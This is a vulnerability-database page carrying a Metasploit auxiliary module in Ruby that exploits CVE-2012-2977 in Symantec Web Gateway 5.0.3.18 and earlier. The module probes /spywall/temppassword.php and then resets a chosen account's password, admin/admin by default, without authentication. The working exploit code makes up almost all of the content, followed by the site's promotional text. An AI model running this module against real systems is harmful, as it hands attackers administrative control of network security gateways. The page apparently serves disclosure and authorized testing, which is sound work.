Lucene search
K

Symantec Web Gateway <= 5.0.3.18 Arbitrary Password Change (MSF)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

Symantec Web Gateway <= 5.0.3.18 Arbitrary Password Change (MSF) module exploits a vulnerability to change passwords on the server

Code

                                                ##
# @_Kc57
# Symantec Web Gateway &#60;= 5.0.3.18 Arbitrary Password Change
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#34;Symantec Web Gateway &#60;= 5.0.3.18 Arbitrary Password Change&#34;,
			&#39;Description&#39;    =&#62; %q{
					This module will change the password for the specified account on a Symantec Web Gatewaye server.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Version&#39;        =&#62; &#34;$Revision: 0 $&#34;,
			&#39;Author&#39;         =&#62;
				[
					&#39;Kc57&#39;,
				],
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2012-2977&#39; ],
					[ &#39;OSVDB&#39;, &#39;0&#39; ],
					[ &#39;BID&#39;, &#39;54430&#39; ],
					[ &#39;URL&#39;, &#39;http://www.securityfocus.com/bid/54430&#39; ],
				],
			&#39;DisclosureDate&#39; =&#62; &#34;Jul 23 2012&#34; ))

			register_options(
				[
					Opt::RPORT(80),
					OptString.new(&#39;USER&#39;, [ true, &#39;The password to reset to&#39;, &#39;admin&#39;]),
					OptString.new(&#39;PASSWORD&#39;, [ true, &#39;The password to reset to&#39;, &#39;admin&#39;])
				], self.class)
	end

	def run

		print_status(&#34;Attempting to connect to https://#{rhost}/spywall/temppassword.php to reset password&#34;)
		res = send_request_raw(
		{
			&#39;method&#39;  =&#62; &#39;POST&#39;,
			&#39;uri&#39;     =&#62; &#39;/spywall/temppassword.php&#39;,
		}, 25)

		#check to see if we get HTTP OK
		if (res.code == 200)
			print_status(&#34;Okay, Got an HTTP 200 (okay) code. Checking if exploitable&#34;)
		else
			print_error(&#34;Did not get HTTP 200, URL was not found. Exiting!&#34;)
			return
		end

		#Check to if the temppassword.php page loads or if we are redirected to the login page
		if (res.body.match(/Please Select a New Password/i))
			print_status(&#34;Server is vulnerable!&#34;)
		else
			print_error(&#34;Target doesn&#39;t seem to be vulnerable!&#34;)
			return
		end

		print_status(&#34;Attempting to exploit password change vulnerability on #{rhost}&#34;)
		print_status(&#34;Attempting to reset #{datastore[&#39;USER&#39;]} password to #{datastore[&#39;PASSWORD&#39;]}&#34;)

		data  = &#39;target=executive_summary.php&#39;
		data &#60;&#60; &#39;&USERNAME=&#39; + datastore[&#39;USER&#39;]
		data &#60;&#60; &#39;&password=&#39; + datastore[&#39;PASSWORD&#39;]
		data &#60;&#60; &#39;&password2=&#39; + datastore[&#39;PASSWORD&#39;]
		data &#60;&#60; &#39;&Save=Save&#39;

		res = send_request_cgi(
		{
			&#39;method&#39;  =&#62; &#39;POST&#39;,
			&#39;uri&#39;     =&#62; &#39;/spywall/temppassword.php&#39;,
			&#39;data&#39;    =&#62; data,
		}, 25)

		if res.code == 200
			if (res.body.match(/Thank you/i))
				print_status(&#34;Password reset was successful!\n&#34;)
			else
				print_error(&#34;Password reset failed! User &#39;#{datastore[&#39;USER&#39;]}&#39; may not exist.\n&#34;)
			end
		else
			print_error(&#34;Password reset failed!&#34;)
		end
	end

end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation